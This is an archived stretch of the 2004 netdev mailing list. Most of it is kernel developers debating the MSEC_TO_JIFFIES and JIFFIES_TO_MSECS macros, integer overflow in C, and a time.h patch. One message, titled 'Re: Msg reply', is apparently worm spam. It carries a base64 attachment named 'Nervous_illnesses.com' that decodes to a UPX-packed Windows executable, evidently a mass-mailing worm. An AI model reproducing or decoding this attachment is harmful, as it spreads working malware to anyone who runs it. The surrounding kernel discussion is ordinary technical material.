<20040512211255.GA20800@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512211255.GA20800@elte.hu> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-tyT1IZs0Aqen8m1DlB8J" Message-Id: <1084399017.27252.46.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7jb) Date: Wed, 12 May 2004 15:56:57 -0600 X-archive-position: 5109 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: zlynx@acm.org Precedence: bulk X-list: netdev --=-tyT1IZs0Aqen8m1DlB8J Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2004-05-12 at 15:12, Ingo Molnar wrote: > * Davide Libenzi wrote: >=20 > > int foo(int i) { > >=20 > >=20 > > return i * 1000 / 1000; > > } >=20 > try unsigned and you'll see: [snip] I forgot to add that yes I know i * (x / 1000) is different than i * x / 1000 in integer math. Please don't hit me. --=20 Zan Lynx --=-tyT1IZs0Aqen8m1DlB8J Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQBAop2pG8fHaOLTWwgRAu34AJwMXBXS5I9WzBcNDlXuNwy+iRf+rACcCOrj J66yZh73io1vDNmaB6Rau0A= =pyaH -----END PGP SIGNATURE----- --=-tyT1IZs0Aqen8m1DlB8J-- From bfields@fieldses.org Wed May 12 15:08:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:08:43 -0700 (PDT) Received: from pumpkin.fieldses.org (Debian-exim@dsl093-002-214.det1.dsl.speakeasy.net [66.93.2.214]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CM8eKO015710 for ; Wed, 12 May 2004 15:08:40 -0700 Received: from bfields by pumpkin.fieldses.org with local (Exim 4.33) id 1BO1sz-0004Oz-TG; Wed, 12 May 2004 18:07:33 -0400 Date: Wed, 12 May 2004 18:07:33 -0400 To: Andreas Schwab Cc: Davide Libenzi , Ingo Molnar , Jeff Garzik , Greg KH , Andrew Morton , Linux Kernel Mailing List , Netdev Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512220733.GB16658@fieldses.org> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512213913.GA16658@fieldses.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.6i From: "J. Bruce Fields" X-archive-position: 5110 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bfields@fieldses.org Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 11:55:18PM +0200, Andreas Schwab wrote: > "J. Bruce Fields" writes: > > > If gcc really optimizes that to just the identity function, then surely > > that's a gcc bug? Multiplication is left-associative, so i * 1000 / > > 1000 = (i * 1000) / 1000, but (i * 1000) should be zero for any i > > divisible by i^(sizeof(int) - 12). > > Signed integer overflow is undefined in C, so the compiler is allowed to > assume it does not happen. Ugh, right, got it.--b. From wli@holomorphy.com Wed May 12 15:20:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:20:31 -0700 (PDT) Received: from holomorphy.com (mail@holomorphy.com [207.189.100.168]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CMKPKO017072 for ; Wed, 12 May 2004 15:20:25 -0700 Received: from wli by holomorphy.com with local (Exim 3.36 #1 (Debian)) id 1BO23T-0001Bi-00; Wed, 12 May 2004 15:18:23 -0700 Date: Wed, 12 May 2004 15:18:23 -0700 From: William Lee Irwin III To: Ingo Molnar Cc: Andrew Morton , Valdis.Kletnieks@vt.edu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512221823.GK1397@holomorphy.com> Mail-Followup-To: William Lee Irwin III , Ingo Molnar , Andrew Morton , Valdis.Kletnieks@vt.edu, davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com References: <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <200405121947.i4CJlJm5029666@turing-police.cc.vt.edu> <200405122007.i4CK7GPQ020444@turing-police.cc.vt.edu> <20040512202807.GA16849@elte.hu> <20040512203500.GA17999@elte.hu> <20040512205028.GA18806@elte.hu> <20040512140729.476ace9e.akpm@osdl.org> <20040512211748.GB20800@elte.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512211748.GB20800@elte.hu> User-Agent: Mutt/1.5.5.1+cvs20040105i X-archive-position: 5111 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: wli@holomorphy.com Precedence: bulk X-list: netdev On Wed, May 12, 2004 at 11:17:48PM +0200, Ingo Molnar wrote: > ok. -A3 attached, it does the roundup in the msec->jiffies conversion. > (not the other way around though, and that's fine.) I'm assuming -A3 is current, then: Optimize the cases where HZ is a divisor of 1000 or vice-versa in JIFFIES_TO_MSECS() and MSECS_TO_JIFFIES() by allowing the nonvanishing(!) integral ratios to appear as a parenthesized expressions eligible for constant folding optimizations. -- wli Index: linux-2.5/include/linux/time.h =================================================================== --- linux-2.5.orig/include/linux/time.h 2004-05-12 15:04:10.000000000 -0700 +++ linux-2.5/include/linux/time.h 2004-05-12 15:12:49.000000000 -0700 @@ -184,12 +184,12 @@ * Avoid unnecessary multiplications/divisions in the * two most common HZ cases: */ -#if HZ == 1000 -# define JIFFIES_TO_MSECS(x) (x) -# define MSECS_TO_JIFFIES(x) (x) -#elif HZ == 100 -# define JIFFIES_TO_MSECS(x) ((x) * 10) -# define MSECS_TO_JIFFIES(x) (((x) + 9) / 10) +#if HZ <= 1000 && !(1000 % HZ) +# define JIFFIES_TO_MSECS(j) ((1000/HZ)*(j)) +# define MSECS_TO_JIFFIES(m) (((m) + (1000/HZ) - 1)/(1000/HZ)) +#elif HZ > 1000 && !(HZ % 1000) +# define JIFFIES_TO_MSECS(j) (((j) + (HZ/1000) - 1)/(HZ/1000)) +# define MSECS_TO_JIFFIES(m) ((m)*(HZ/1000)) #else # define JIFFIES_TO_MSECS(x) (((x) * 1000) / HZ) # define MSECS_TO_JIFFIES(x) (((x) * HZ + 999) / 1000) From mingo@elte.hu Wed May 12 15:35:24 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:35:25 -0700 (PDT) Received: from mx1.elte.hu (mx1.elte.hu [157.181.1.137]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CMZCKO017650 for ; Wed, 12 May 2004 15:35:13 -0700 Received: from chiara.elte.hu (chiara.elte.hu [157.181.150.200]) by mx1.elte.hu (Postfix) with ESMTP id 401D9277CD2; Wed, 12 May 2004 22:53:34 +0200 (CEST) Received: by chiara.elte.hu (Postfix, from userid 17806) id 9F78C1FC2; Wed, 12 May 2004 22:53:33 +0200 (CEST) Date: Wed, 12 May 2004 22:55:38 +0200 From: Ingo Molnar To: Andrew Morton Cc: davidel@xmailserver.org, jgarzik@pobox.com, greg@kroah.com, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: MSEC_TO_JIFFIES is messed up... Message-ID: <20040512205538.GA19210@elte.hu> References: <20040512020700.6f6aa61f.akpm@osdl.org> <20040512181903.GG13421@kroah.com> <40A26FFA.4030701@pobox.com> <20040512193349.GA14936@elte.hu> <20040512200305.GA16078@elte.hu> <20040512132050.6eae6905.akpm@osdl.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040512132050.6eae6905.akpm@osdl.org> User-Agent: Mutt/1.4.1i X-ELTE-SpamVersion: MailScanner 4.26.8-itk2 (ELTE 1.1) SpamAssassin 2.63 ClamAV 0.65 X-ELTE-VirusStatus: clean X-ELTE-SpamCheck: no X-ELTE-SpamCheck-Details: score=-4.9, required 5.9, BAYES_00 -4.90, UPPERCASE_25_50 0.00 X-ELTE-SpamLevel: X-ELTE-SpamScore: -4 X-archive-position: 5112 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mingo@elte.hu Precedence: bulk X-list: netdev * Andrew Morton wrote: > #if HZ=1000 > #define MSEC_TO_JIFFIES(msec) (msec) > #define JIFFIES_TO_MESC(jiffies) (jiffies) > #elif HZ=100 > #define MSEC_TO_JIFFIES(msec) (msec * 10) > #define JIFFIES_TO_MESC(jiffies) (jiffies / 10) > #else > #define MSEC_TO_JIFFIES(msec) ((HZ * (msec) + 999) / 1000) > #define JIFFIES_TO_MSEC(jiffies) ... > #endif the HZ=100 define is broken. (it's correct in the -A2 patch i just sent.) why the +999 rounding up in the generic case? Ingo From trevor@jpj.net Wed May 12 15:39:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 12 May 2004 15:39:38 -0700 (PDT) Received: from user.net (node-c-0ae2.a2000.nl [62.194.10.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4CMdWKP018089 for ; Wed, 12 May 2004 15:39:33 -0700 Date: Thu, 13 May 2004 00:39:27 +0100 To: "Netdev" From: "Trevor" Subject: Re: Msg reply Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------cboachphcqzhvxfyfqzp" X-archive-position: 5113 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: trevor@jpj.net Precedence: bulk X-list: netdev ----------cboachphcqzhvxfyfqzp Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------cboachphcqzhvxfyfqzp Content-Type: application/octet-stream; name="Nervous_illnesses.com" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Nervous_illnesses.com" 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 